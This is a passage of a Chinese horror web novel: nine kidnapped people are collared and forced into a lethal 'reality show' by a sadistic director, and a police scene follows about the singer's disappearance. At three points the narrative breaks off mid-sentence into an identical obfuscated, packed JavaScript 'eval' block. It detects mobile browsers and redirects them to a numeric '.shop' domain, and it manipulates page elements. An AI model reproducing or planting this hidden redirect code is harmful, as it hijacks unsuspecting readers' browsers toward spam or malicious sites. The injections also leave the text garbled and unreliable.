《古宅惊魂特辑》 1. Day 1「01」 阴森昏暗的房间中央摆着一张长条木餐桌,餐桌两侧各有四把椅子,窄端那头还额外加了一把。 共九把椅子,每一把上都坐着人。 微弱幽暗的烛火点在桌台上,照亮了这些人的脸孔: 竟都双眼紧闭、脑袋低垂、四肢绵软无力地耷拉着,好像些没有生命的玩偶被随意‘摆放’在椅子上——领口处还缝着标签,就是商品上常有的那种标签样式,上边写着商品的名称和属性。 昏暗的房间、长条餐桌和昏迷不醒的人。 仿若一场诡异无声的实景家家酒,令人不寒而栗。 “滋——滋——” 电流声毫无征兆地突然响起,打破了房间中的死寂。 一股强劲的电流如游蛇自脖颈处流窜向全身,椅子上瘫坐的九人在同时被电得浑身僵直、下一秒又抽搐不停。 整副场面在视觉上显得极为惊悚。简直像是几条没气的塑料皮气球人,被瞬间充满的气流冲撞得手脚乱动。 童无垠是被硬生生电醒的。 身体仿佛被无数钢针同时刺入,从每一个毛孔中渗透出尖锐的疼痛,肌肉不自觉地抽搐着,电流在身体里般肆意冲撞,带来阵阵酥麻与刺痛交织的怪异感觉。 她的大脑被电流搅得一片混乱。 尝试着努力控制自己的身体,却发现四肢如同灌了铅般沉重,不听使唤。 “唔啊啊啊,好痛!救命,救命!” “什么鬼,嘶……哈啊!我在哪儿?” 其余人亦在电流的冲击下陆续苏醒过来,一时间咒骂与凄厉的哭号交织,因四面封闭而空气许久不流通的空间中掀起声浪滚滚。加之个别人挣扎得厉害,身体疯狂扭动带动身下的椅子与地面摩擦发出尖锐刺耳的声响。 这些刺耳的噪音,搅得头更痛更乱了。 童无垠咬着牙也没能完全忍住,低低痛呼出声。麻痹感过于强烈,带来的不仅仅是身体上的疼痛,更是让她开始出现呼吸困难的症状。 好在这种折磨并没有持续太久,电流在下一刻停止了释放。 空气进入肺腑后,因缺氧而几近混沌的大脑,终于稍稍有了一些好转。 童无垠甩甩脑袋迫使自己清醒,才发现自己正坐在一张长餐桌前,周围环境阴森昏暗,几乎什么也看不清。 桌上铺着桌布,摆着排造型古朴的烛台,摇曳着幽暗微弱的火光,仿佛随时可能熄灭。却也是整个空间内唯一的光源。 借着这点微光,童无垠瞧见桌上还摆放着盛放在精致瓷盘中的美食,各色各样种类繁多,色香味俱全。 可在一个如此死寂阴森的环境中,摆上一桌满汉全席,不仅让人心生荒诞,食物勾动馋虫也让她意识到了自己此时身体的异常——虚弱乏力还十分饥饿。 饿得烧心,仿佛十天半过月没吃过饭的那种饿。 情况十分不妙。 童无垠试着转过身体,却发现做不到。她的手被反绑着放置在椅子背后,能转动的空间极为有限。 她这是被绑架了? 短暂惊慌了一小会儿,童无垠很快稳住心态,暗暗告诫自己这时候最需要的就是冷静。又一番尝试下,发现手腕是单独捆绑的,没有和椅背绑在一起,肩膀使劲可以带动手腕上下移动。 不过椅背很高,手臂往上移动到极限也无法脱困。 再试试站起来呢? 也不行。 烛光照不到脚下,童无垠只能看到模糊的一片黑影,凭感觉判断脚是被绑在椅子腿上了。不知道是绑的太久、抑或是电流的副作用,整个小腿都酸痒发麻,好像有蚂蚁在爬。 “艹,谁电的我,这是违法,违法乱纪!” 突然出声的是坐在斜对面的黄发青年,他一脸痞气,龇牙咧嘴眯着个眼,嘴巴被电得直抽抽也没个把门的,“还有,这里是哪儿,你们又都谁啊?!” “别在这儿嚷嚷些废话!你问我,我还想问你又是谁呢?” 一名中年面相严肃的男人打断了黄发青年的话头。他坐在童无垠右手边,眉尾处有颗大痣异常显眼,肉眼可见的焦躁,“md我是怎么来这里的?可恶,根本记不起来……你们有谁知道情况的?站出来说说!” 语毕,眉尾痣男人想抬手拍打自己‘不中用’的脑袋,可抽手的时候才想起来手背在身后被绑得严严实实。 眼见无人接话,眉尾痣男人怒喝:“你们都哑巴吗!”。 只是这愤怒多少是恐惧之下色厉外茬的产物,威慑不了任何人。 童无垠叹了口气,“二位冷静下,我没看错的话所有人都是被绑着的,所以我们的处境相似,应该都并非‘自愿’来到这里。” 见无人提出异议,她接着道:“当务之急是尽快搞清楚目前的情况,然后才能安全脱困离开。但在这之前有个小疑问想和大家确认下……” 童无垠看了眼自己领口上缝着的标签,“各位标签上的信息,是否和你们的实际情况一致?” 她对自己标签上的内容有些在意。 “标签,什么标签?”一道清丽的女声语气疑惑。 女人面容姣美艳丽,留着波浪卷发,气质成熟看得出已上了些年纪,她顺着童无垠视线指引,终于发现了自己以及所有人领口上的标签,“你不说我还真没发现,这写的什么?「歌手:高清如」,这确实是我……我叫高清如,是个歌手!但,但……” 黄发青年:“还真是,我的信息也是对的,我靠,起鸡皮疙瘩了……” 跟童无垠坐在同一侧的是两男一女,分别是歌手高清如、眉尾有痣的中年男人、长相清秀俊俏的男青年。除了高清如,后两人身上的标签也同样注明了个人信息,按顺序依次为:「棋牌大神:林志德」、「摄影师:文自宇」。 而对面坐着的四人当中,从左往右分别是一名30来岁肌肉线条分明的练家子女性、说话积极的贼眉鼠眼黄发青年、短发干练的中年女人、隐在阴影里看不清面容的年轻男人。除了最后一人,其余人的标签和童无垠对他们的第一印象都相当呼应,分别是「格斗手:莎露」、「鬼屋测评师:庞洪」、「企业家:林安宁」。 而最让童无垠在意的正是那个看不清面容的男人。他一直靠着椅背,身体半隐在阴影里,最重要的是他身上的标签内容和所有人都不一样。 还有其他人也注意到了这一点。 眉尾痣男人,也就是林志德,瞪大眼盯着那人领口,语带惊异地问:“我说兄弟,为什么你的标签看着不太对啊,一堆问号是什么意思?” 标签:「???:常真一」,只有他没有个人身份或职业的描述,只有一个名字。 庞洪也支个脑袋看过来,“要我说这也不一定有啥问题。可能这位叫常真一的哥们儿没工作,没职业、没能力,啥也不是呢……” 童无垠微不可查地皱了下眉头,她觉得没那么简单。几个最基本的怀疑都无法解答:标签的作用是什么、给谁看的?又为什么只刻意隐藏一人的身份,他有什么特别的地方? 与此同时,庞洪带有侮辱意味的话语,也让他付出了‘代价’。 常真一俯身,昏暗中的烛火微微跳动,终于照亮了他的脸,勾勒出线条分明的下巴、紧抿的薄唇、长而密的睫毛。犹如精心雕琢的艺术品,因为过于完美而透出一种冷漠和不近人情。 他嘴角轻轻一扯,露出一抹带着几分不羁的嗤笑,“庞洪,做鬼屋测评?这么巧,我对你有印象。” “‘深夜非法闯入青山精神病院直播,恶意诽谤致医院负责人跳楼自杀’,这件事说的是你吧,还不够让你吸取教训、谨言慎行吗?” “你!”庞洪面色青紫交加,他完全没料到这里竟然有人会知道他的事情,此时只觉得脸面尽失,不由地恨上了常真一。 “滴答”。 水滴声? 童无垠心下纳罕,哪里来的水滴声。这房间空气非常不流通,虽然墙面都藏于绸布帘子窥不见细节,但能感觉得出四面是封死的。 难道是外面下雨,屋顶漏水?也不像啊。 “我打断下哈。”开口的男人戴着金属框眼镜、穿深色衬衣,坐在窄侧,也就是餐桌远端一头。烛光照亮了他的领口上的标签,上面写着「医药专家:张木」几个字。 “把我们的身份标出来是怎么做到的、什么用意,这确实耐人寻味,但我不想去思考。我说现在能不能讨论一点实际的,比如怎么脱困?!” 他的观点得到了女企业家林安宁的认可,她点头说:“我赞同,特意把我们绑在这里,不可能是叫我们慢慢聊天吧?肯定有什么问题。” “劈啪——砰———!” 噼里啪啦的烟花欢呼声毫无征兆地响起,正谈话的众人被这巨大的动静打断,众人的脸上或是露出警惕之色、或是布满惊恐地望向声音传来的方向。 “哈啰!聊得还好吗?” 是一个陌生的男人在说话,语气嘻嘻哈哈,声音从墙角处立着的音响中传来。 “我看看,电击效果不错啊,都清醒了…….” “那么!欢迎各位特邀嘉宾,来到鄙人的惊魂系列真人秀特别企划!” 下一刻,原本空白的墙面上突兀地亮起了投影。在一片漆黑的环境里,投影的光芒尤为显眼,瞬间吸引了所有人的视线,让人下意识地将目光紧紧锁定在上面。 说的话的男人毫不避讳地露出自己的脸,他是个蓄胡留长发的中年男子,身穿一件印有红色桃心的短袖T恤,出现在画面中央。嘴角扬起大大的弧度,朝着众人招手。 “我是本次节目的总导演,你们可以叫我‘追梦人‘。我特意为各位准备了一个绝对精彩的舞台——让你们能够尽情展现自己!你们需要用脑力、身体能力、冷静的判断,当然,以及一些些勇气,来活着度过着7天间遇见的所有挑战和“刺激”。” 仿佛知道众人想要问什么。 追梦人强调道:“哼,是的,’活着‘度过。” 他敛起脸上的笑意,神情骤然变得漠然至极,那神色变化之迅速,让人不禁脊背生寒。 “邀请各位前来,很是花费了一番功夫……” “希望你们不要让我失望,不要让精彩的游戏因为某些愚蠢的操作而掉价!所以我要和你们强调,违反规则就是死亡;失败就是死亡;妄图逃跑…..也是死亡!!” 吼完这一大通话语后,追梦人将那突然涌现的负面情绪尽情发泄了出去。随即他的神色渐渐回温,脸上再度浮现出笑容,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671522|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚的阴霾从未出现过一般。 导演,有点喜怒无常啊。 童无垠坐在位置上一边听一边观察,得出初步结论。 追梦人洋洋得意,眼睛大睁,瞳仁亮得吓人:“这场真人秀,将会成为我最杰出的执导作品,所有人都会知道我、牢记我的名字!” “亲爱的嘉宾们,你们也准备好了吗?” “准备好在恐惧中颤抖、在战栗中流血、在阴谋中死亡了吗!” “让狂欢开始吧!哈哈哈!!” 追梦人在画面里肆无忌惮地夸张大笑,那眼神中透露出一种令人脊背阵阵发凉的狂热气息。与此形成鲜明对比的是,房间中的嘉宾们依旧被紧紧绑着,动弹不得。 被绑在餐桌前的九个人,没有一个人出声。本就空气不流通,此刻连呼吸声都变得沉默,仿佛成为了真空地带。 说实话,童无垠听到追梦人的激情发言后,有一瞬间荒诞感胜过了恐惧。 所以绑他们来是为了拍真人秀?还有那都是些什么中二宣言? 随后她意识了什么。 「惊悚真人秀」、「特邀嘉宾」…… 这些名词,她在哪里听过……不,是见过。 没错,就是之前收到的那条可疑短信里见过。等等,之前……到底是多久之前?今天是什么日子? 童无垠记得短信是在3月10日收到的,当时她正在院子里一边吃早餐一边看书,时间大概是早上9点左右。 那条短信让她印象非常深刻。内容是邀请她参加一档惊悚真人秀录制,却只字不提录制内容、地点、时间。在她回拨号码后,也迟迟无人接听。 这三年间,童无垠刻意切断了自己和社会的联接,有她联系方式的人很少,能找到她并发邀约就已经让她意外。 可这些疑点,都不是她对短信邀约印象深刻的最主要原因。 她仍记得当看到短信里提及的被邀请人,不是”她“,而是“NL”时,自以为已淡如死水的心绪重又掀起骇浪,仇恨和警惕在一瞬间抵达峰值。 那种感受,那种悚然,叫人头皮发麻。 “NL”是一个过去时,不该有人知道NL就是童无垠。 因为唯一知道的人,早在三年前就已经死了。 短信不仅仅是内容,连带其动机和目的都非常可疑,童无垠没有回复,她打算自己调查。 而记忆就到这里戛然而止。 之后发生的事她什么也想不起来,没有任何印象,再次睁眼就是在这里醒来。 …… “开什么玩笑……!快放开我!!!” 追梦人一番慷慨激昂发言后,短暂陷入沉默的九位嘉宾中,终于还是有一个人没忍住,爆发了。 是张木。 他从一开始跟众人交流时,就表现出了最强烈的脱困欲望,他也知道自己第一个出声对抗追梦人,是当了出头鸟,他也不想的。 但比起另外八人,他有更多一分的恐慌。 如果只是在参加一场普通的聚餐,那他坐的位置是“主人座”,按理来说是身份与众不同的象征,是件好事。但放在当下这种又是绑架、又是电击、又是怪人发言的诡异场合中。 不合群,只会让恐慌成倍增长。 而他没能顶住这种恐慌的压力。 吼已经吼出声,收也收不回了,张木干脆放弃控制自己的情绪。他在座位上拼命地扭动着身体,竭尽全力地挣扎着,大声吼道:“我再说一次,马上放开我!这是违法的行为!这是绑架,是绑架!! 然而话音未落,他爆发出一声凄厉无比的惊叫,身体重重抽搐几下,不动了。 高清如死死咬住下唇,神色惨然:“天啊!” 曾’声援‘过他的女企业家也面色凝重,急声呼唤:“张木!你还好吗?!” 大家都没有料到。一切发生得太快、太没有预兆了…… 童无垠心中沉重,正要开口,常真一先动了。 为了查看张木的情况,他抬起胳膊、调整姿势,以最大限度探出身子,尽可能地靠近张木。他声线清冷,言简意赅: “是电击,他还活着,被电晕了。” 他眉头微蹰,眼神中有一丝凝重,“虽然还活着,但短时间内被电击两次,情况已经不太好了。” 这也是童无垠担心的事情。 他们的身体状态非常虚弱,经不起外界的刺激。 之前的电流已经说明了导演有远程施加手段的能力,加上他们开局就极差的身体状况,现下最优解就是先听完导演要说的话,以获取更多信息,再制定策略。 否则急着反抗或刺激导演,一旦触怒对方——一个目前看来可以对他们为所欲为的人,会本就糟糕的境况雪上加霜。 张木的激烈反抗没能持续多久,就激怒了追梦人。他面色阴沉,通过投影画面,向仍清醒的八人扬了扬手中拿着的遥控器:“我说你们搞清楚没有,我是导演!作为嘉宾必须要尊重导演!这个道理不明白吗?!” “知道这是什么吗?本来呢,这个是要在介绍真人秀游戏规则时提到的,但既然有不听话的老鼠……我也就提前和你们说吧。” 他冷笑道:“看看你们的脖子。” 2. Day 1「02」 童无垠低头,能感觉到脖颈处有异物,体感上像是某种金属项圈。 不过没看到项圈,大概圈径比较短,被下巴挡住了。 追梦人说完也意识到这点,又重新发号施令:“……看旁边人的脖子,反正你们都一样,看谁的都行。” 童无垠下意识抬头,看向斜对面那人。 常真一仍微垂着头,长睫随着视线向下,遮住了他眼中的光景,白皙脖颈上只露出一条细细的黑色金属边,看不清项圈的全貌。 算了,换一个人吧,童无垠心想。 正要挪开视线,下一秒,常真一却突然抬高了下巴,露出清晰的喉结,和环扣在脖颈的哑光金属圈。 黑色金属圈紧贴着皮肤,二者之间几乎没有任何挪动的空间。 项圈上最为醒目的是3条亮着的绿色灯格,形状细长,排列在一起像旋转90度的汉字“三”。除此以外,就是位于正中央,形似卡槽的一块凹陷。 其他就没有什么值得注意的特征了。就算还有些什么别的,因为光线昏暗的缘故,童无垠也看不出来。 观察完,她迟迟没有移开视线,心中某名有点微妙的预感。 那人突然抬头,不会是发现她想看他的脖子,所以特意配合的吧? 童无垠眼皮上撩,抬眼,对上了一双在黑暗中灿若寒星的眼眸。 果然,她心想,果然如我所料。 不过也有她没料到的。 常真一看向她的目光,没有任何温度,冷淡中带有一丝审视和若有所思。 为什么? 啊。童无垠低头看了眼自己的标签,原来如此。 之前她也意外竟没有人对她的身份产生疑问,但现在看来,只是有疑问的人没有诉之于口。 她的标签是:「网络推理:NL」。 没错,这个标签也是疑点重重,名字处写着的不是她的真名‘童无垠’,而是‘NL’。追梦人似乎更想让她以这个身份在真人秀中出镜…… 也是,NL自网络上“失踪”已有整整三年,而且消失的很彻底,所有能关联到她的线索都被她斩断了。曾经有铁粉接因为无法接受NL的消失,花了大功夫、大价钱悬赏她的消息却一无所获。 所以‘NL在真人秀中现身’的噱头不会小。 但童无垠不喜欢这种事情脱离掌控的感觉。 按下心中烦闷,她直视常真一的目光,仰起头,露出脖子上的项圈,轻轻挑眉。 不管你在你想什么、怀疑什么,既然你行方便让我看清项圈,那我也回礼。 暗流涌动间,两人互相从对方身上得到了关于项圈的信息。 “都看到脖子上的接驳环了?” 追梦人给自己倒了杯茶,捏着勺子在杯沿上“叮叮”地敲了几下,浑身舒坦地躺进一把沙发椅中,得意道: “接驳环,哼,这可是高科技。长的像个普普通通的金属环,但功能可多着呢。其中一种你们都知道了,释放电流,而且我可以想什么时候电,就什么时候电你们,一切都在我的掌控之下。哈哈哈!” “就这,还算不上是最精彩的。真正的高光,是藏在内圈的毒针,抹了见血封喉的剧毒。只要我想,嘿嘿,就那么轻轻一按,最多几秒,一命呜呼~” 追梦人没忍住噗嗤笑出了声: “对死亡的恐惧,才是最本能原动力,终于有一个能让我为所欲为的机会了,真是天才般的主意,哈哈哈!” 他抬手指了指自己的脖子,那里当然什么都没有:“看到你们环上那3格灯条了吗?记住,那是你们的‘命’”。 追梦人手掌抵在咽喉,作出割喉的动作。 “如果所有灯条都熄灭,毒针就会被触发,你们就……” “会死!我们会死!!” 高清如崩溃出声,打断了追梦人的话头。 她的声音充满绝望,喉咙里溢出破碎的抽噎,泪水将本姣好明艳的面容浸得发皱。 连说话都开始语无伦次,咬字不清:“还真人秀!明明想什么时候杀......嗝啊……,就什么时候杀!……待宰的羔羊,我们就是……羊!” “嘿……”,童无垠侧过身,努力安抚:“清如,别怕。” “先听导演说完,别给他借口释放电流来让你‘安静’,你得自己控制住,稳住呼吸!” 之前张木顶撞追梦人,那时童无垠还没有足够信息得出追梦人的性格特点,没能阻止张木二次被电。虽然她从不内耗,也不认为自己需要为张木的遭遇承担责任。 但假设阻止另一人受难的机会就在眼前,一切还没有到最糟糕的时候,伸出援手值得一做。 高清如在开口打断追梦人后她已隐隐后怕,再加上童无垠的提醒,被恐惧侵占的大脑瞬间清醒。她睁大眼,在抽泣中不住点头,尝试控制情绪、止住哭声。 她死死咬住唇,深呼吸,胸口不断起伏。 可情绪有时就像飘忽不定的云,是那么地难以预判、难以控制。 高清如没能止住,甚至在惊恐之下,哭声有愈演愈烈的趋势。 很快,哭声盖过了追梦人说话的声音。他放下茶杯,面色不虞。 “一个毒针就叫你怕成这样?还能不能行了!这么废物,怎么制造节目效果……哭虽然也是种效果,但游戏还没开始呢!” 不好…… 控制电流的遥控器就放在追梦人手边。 童无垠心中发沉,眼瞅着追梦人手指微动,朝遥控器摸去,她问自己还有没有办法。?? 再这样下去,以她肉眼可见的瘦弱身板,被二次电击,大概率会死。 一定有什么办法……童无垠,再想想! “哈…救救我,别……”,女人透过朦胧泪眼,也看到了追梦人伸手去拿遥控器的画面。 其实一切发生得很快,从哭声响起到追梦人讲话再次被打断,整个过程满打满也没有半分钟。 但显然,追梦人的耐心并不好。 他眼带嫌弃地盯着泪流满面的高清如——她的手被绑住没有办法擦泪,拿起遥控器,手指即将按下按钮。 童无垠突然灵光一闪。 如果追梦人之前说的都是实话,那他办真人秀的目的应该就是如其名,为了“追梦”。 追一个虽然变态、罔顾法律,但疯癫得纯粹的梦—— 他想要做出一个极致杰出的作品,名留青史。 如果是这样的话…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671523|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “导演,真人秀才刚开始没多久,你的一个嘉宾就要不行了。” 童无垠声线沉稳,看向胸脯只剩微弱起伏的张木,意有所指,“再电晕一个,就只剩7人,可能影响到后续环节的精彩程度。” “正式的游戏还没开始,就缺少了2个人,总是有些可惜。” 闻言,追梦人手指动作顿住,轻声嘟囔:“……确实,哼,算她走运。” 赌对了。童无垠心中舒了口气,总算。 导演不在乎别的,但他在乎这个真人秀,为了它,其他一切都可以靠边。 “虽然这次放过了她,但,机会只有一次” 追梦人从高清如身上挪开视线,凑近镜头眯起眼认真打量童无垠,整张脸瞬间占据了整个投影画面。 镜头放大了他油腻腻的长发和凌乱的络腮胡。抛开小命握在他手里这件事,追梦人看起来就像是一个彻彻底底的宅男。 还是不爱洗澡的那种,有点辣眼睛。 追梦人看清了童无垠的脸,结束镜头怼脸,靠回躺椅:“我说是谁呢,能讲出这种话,原来是你。” “让人好找呀……NL。哈哈哈!” 追梦人一句话,引得众人纷纷向童无垠投去目光,其中震惊占了大多数,目光在她的脸与领口标签处来回徘徊。 常真一没看标签。他松散地将头枕在椅背上,下巴微抬,被深浓长睫掩住的眸子静静地、专注地注视着童无垠。 他又在观察她。 童无垠注意到这一点,心想他估计早就看见她的标签了,所以不意外她是NL。但这次观察,和之前略有不同,大概是在看她被叫破身份时的下意识反应。 “我勒个去……”黄发青年庞洪表现得最为惊诧,“刚刚竟然没有细看你的标签,你是我理解的那个NL吗?就你?骗人的吧!” 呵呵,又不是她想要掉马甲的。还有什么叫“就她”? 童无垠心里也不爽,因此不想搭理。 她假装没听到,一整个面无表情。 没得到回应,庞洪脸上有些挂不住,张口准备继续追问。突然想到什么,快速瞟了眼追梦人有变黑趋势的脸,又识相地悻悻噤声。 追梦人没有错过庞洪的小动作,他感到颇为受用。他故作高深地从鼻腔中发出一声哼笑,放下遥控器,重新端起茶杯抿了一口:“虽然不喜欢别人教我做事,但是比起被蠢货指手画脚,我果然还是对聪明人容忍度更高。” “接下来我会正式介绍真人秀的录制规则,这次都记得,不许,打断我!” 无人有异议,追梦人满意地点点头:“很好……”。 “本次特别录制企划,会为期7天。每一天都有精心设计的刺激游戏等着各位,而你们需要以团队或个人的形式去完成每日游戏。” “游戏成功,就准备洗洗睡睡迎接第二天的游戏。可如果游戏失败了嘛……” 追梦人坏笑:“会受到惩罚。” “惩罚内容,嘿嘿嘿,保密。不过可以透露的是,每天游戏的惩罚都不相同,你们需要自行探索。” “那么容我宣布,今天,也就是真人秀的录制第一天——” “游戏从现在这一刻,正式开始!” 3. Day 1「03」 嘉宾们被捆坐在椅子上,昏暗逼仄的空间中没有多余的东西可以安放注意力。 仿佛身处一个被世界所遗忘的角落,他们失去了人权、自由和尊严,唯一能做的仅仅是聆听透过屏幕向他们“下达指令”的追梦人。 追梦人宣布游戏正式开始,停下话头,等待众人回应。 得到的却只有鸦雀无声。 他翻了个白眼:“我说完一段话,你们倒是给点反应,捧捧场!这种不算打断我!” 高清如蜷着身体,缩在椅背和扶手的夹角里,闻言怯生生地接话:“导演,游戏开始了吗,什么也没发生呀……” “这就开始了?”庞洪神色警惕,眼带疑虑地来回扭头观察。他们所处的空间约篮球场大小,四面的墙都被厚重帘子遮挡。 看不出和之前有什么变化。 他盯着周围垂到地面的暗红色绸布,昏暗之下只觉瘆人,越看越可疑:“不会是……有鬼藏在那些帘子后面吧?!” 追梦人坏笑:“呀,这么明显,你们猜不到吗?” 「明显」吗,童无垠沉吟。 在黑暗中,感官变得敏锐,被绑住的手脚不可避免与扎带发生摩擦,带来的刺痛和肿胀感愈演愈烈。 行动还没有获得自由,要怎么玩游戏……她心中有了猜测。 巧的是有人和她想到一块儿去了。 常真一清冷的声线自斜前方传来:“我们还被绑着,想要玩游戏首先得脱困。因此换一种说法,‘脱困’,很可能就是第一个游戏。” “诶!正解!”,追梦人双手相击,有些兴奋,“第一个游戏就是想办法脱困。脱困方式嘛,没有任何限制,全凭你们随意发挥。” 他接着道:“游戏规则如下。” “在这个房间的各处藏着三种道具,分别是:房间钥匙、功能卡和任务卡。脱困的人可以立刻开始寻找道具,不限种类和数量,找到者自动获得道具拥有权,可以自行决定自留或转增。” “房间钥匙和功能卡等你们拿到的时候自然会知晓作用,因此我着重和你们讲解下「任务卡」。看到投影屏幕旁边的海报墙了吗,对,上面有你们每个人的名字。“ “任务卡需要投入到名字下对应的透明插板中,一经投入,该嘉宾与任务立即锁定,且在完成前不可更改。” “也就是说”,追梦人露出幸灾乐祸的表情,“只要是空的任务栏,任何人都可以往里面投放任务卡。” “你可以决定其他人的命运哟。” 此话一出,桌前仍清醒着的八人不禁面面相觑,外忧之下又被制造了内患,一时暗流涌动。 童无垠微不可查地皱了下眉,一般在未摸清其他人能力和性格的情况下,无仇无怨,不会上来就给其他人分配任务。毕竟这种行为本身是一种攻击的信号,容易让自己成为众矢之的。 但问题是,现在不知道任务卡的内容。假设有人拿到手发现任务异常凶险,那就一定会出现有人将任务强行塞给别人的情况。 如果真的发展到这个地步,谁会成为最容易被“攻击”的对象?童无垠心中已有答案。 弱者。 越弱、越没有反抗能力的人,越容易遭受恶意,因为他或她缺乏报复的手段。 纷争从他们睁眼的那一刻就开始了。每个人所表现出来的任何弱点,都会成为别人刺向他们的利刃。 弱肉强食,不外乎如是。 追梦人,心思相当险恶啊。如果这就是他的目的、想要营造的氛围,那可以说已经成功一半了。 假装没有注意到自己说完后嘉宾间微妙的氛围,追梦人慢悠悠补充道: “接下来,要讲到「固定规则」了。在固定规则中,部分会涉及到‘扣分’操作,这里的‘分’指的就是接驳环上的绿色灯格,你们可以理解成:1分对应1条灯格,即扣1分就熄灭1条灯格。” “嘿嘿,所以扣3分代表着什么,你们都明白的吧……” 追梦人的影像从投屏上消失,取而代之的是四条规则,字体特意做了鲜血淋漓的特效,极具视觉冲击力。看着就让人作呕。 《固定规则》 规则一:当日22:00前,所有找到的任务卡必须全部投放,违者扣3分; 规则二:截止当日22:00,无任务者扣1分,并由导演替无任务者分配当日任务; 规则三:不可以给任何人叠加任务卡,或更改已投放的任务卡,违者扣3分; 规则四:不可破坏脖颈处佩戴的接驳环,违者扣3分; 女格斗手莎露惊讶出声:“违反规则扣3分,这不就等于直接判死刑吗?!” “可以这么理解,所以,绝对不能违反规则。” 追梦人没有重新投放自己的画面,只有他的声音从音响中传来:“这些规则就是「铁律」。” “规则我已经介绍完毕,接下来,请各位开始自己的表演吧。顺带一提……” 房间一侧的绸布帘自动拉开了一截,露出帘子后墙上的一面时钟。 “现在是20点03分,距离任务卡分配截止时间22:00,只有不到两小时了,请各位务必抓紧哟。” …… 忠明市,3月13日下午13:54分,案侦大队一楼大厅。 正值冬春交替的时节,气温仍然较低。 阳光透过云层洒落,触达肌肤后给予片刻温暖,继而很快散在寒冷的空气中。 刘思睿坐在报案中心的服务窗口后,脚边开着电暖炉,手边放着一大叠待分类处理的文件。 一边手上工作不停,一边时不时拿过保温杯喝上一大口热茶,又间或和周围同事唠上两句。虽然忙碌但井井有条。 同事发出感慨:“最近倒是难得平静,要是能一直这样就好了。” 刘思睿笑骂:“你小子,别以为我不知道,就是想清闲。” “嘿,瞧你这话说的。”同事也笑着回怼,“想清闲咋了,人民群众平平安安,我也落得空,这不双赢。” “行行行,你说的对。” 正聊得起劲,余光瞅见一个高大身影往窗口前一坐,不动了。 什么情况,刘思睿心里咯噔一下。 前一秒还在说平静,下一秒就来人,如果是来报案的,那他们也太乌鸦嘴了…… 来人是个身材魁梧的壮汉,身高至少1米9,年龄40岁上下,脸上带着墨镜和口罩。他压低声线,语速极快地道: “我要报案!” “有人失踪了,我已经有两三天联系不上她,这不对劲!肯定是出什么事了,可能,可能是被人绑架了!侦查官,你一定要帮帮我!” “好,先生您先别急” 真到了有群众报案的时候,刘思睿脑子里反倒没空想什么乌鸦不乌鸦的了。他停下手头的文件工作,开口安抚的同时,也询问更多的失踪细节。 “我先问您几个问题,多了解一点情况。” 他手朝男人脸上指了下:“不过要麻烦您先取掉脸上的墨镜和口罩。” 男人有些警惕地来回打量案侦大队大厅,像是确认了没有人跟踪他,才依言照做。 刘思睿手放在键盘上,问到:“失踪者的姓名与身份、和你的关系、具体失踪的时间,这些信息辛苦提供一下。” “失踪的人叫高清如,是一名女歌手,不知侦查官你听说过她吗,早几年她也曾经火过。至于我,我叫王柏,是她的经纪人。” 王柏伸手在脸上狠狠搓了一把,他胡子拉碴,眼袋深重,显得十分焦虑。 “我也说不好她具体是什么时候失踪的,但最后一次联系上她,是在10号上午。她问我当天的行程安排,但说实话,最近没什么活儿找我们,所以我就叫她好好在家休息一阵子,别想工作了。” “谁知道,这之后就再也没联系上她过!一开始电话还能打得通,就是不接,后来就直接关机。我到她家、工作室、她朋友家,甚至连她常去的咖啡馆和前夫家都找过了,没有,哪里都没有!她就像是蒸发了……” 眼看这位经纪人情绪越发激动,隐隐有失控的趋势,刘思睿赶忙打断:“了解了,您冷静,别激动……我说,我是说哈。” 他觑着王柏的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671524|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,试图用最轻柔的语气说道:“你是她的经纪人,应该很了解她,你觉得她失踪最有可能是因为什么?她最近有过什么不寻常的行为吗?有没有可能,她不是失踪了,而是自己……” 话还没说完,对面的王柏就拍案而起,他的脸因愤怒而涨得通红。 “你想说什么?你想说什么!!” 刘思睿想要开口却又被打断,王柏指着他鼻子嘶吼:“你就是这样查案的?什么都没有搞清楚,就把责任都推到被害人身上!你不会是想说,她是自杀的,或者是自己跑走了吧?啊?!亏你说的出口!!” “……请您冷静一下,这样我们没有办法帮忙,也无法开展调查。” “我告诉你。”王柏气喘吁吁着坐下,他的眼睛发红,一个大男人,似有泪在眼眶中酝酿,“高清如,她没有自杀,更没有一个人跑掉的理由,肯定是有人要害她。已经三天了……必须尽快找到她。尽快!” 刘思睿表情也不大好,他看着王柏,语气严肃。 “我明白你的心情,但从侦查的角度,我必须考虑所有的可能性。” 他抬手示意王柏稍安勿躁,接着话风一转:“不过对于她自己‘离开’的可能性,可以暂且放一放。” 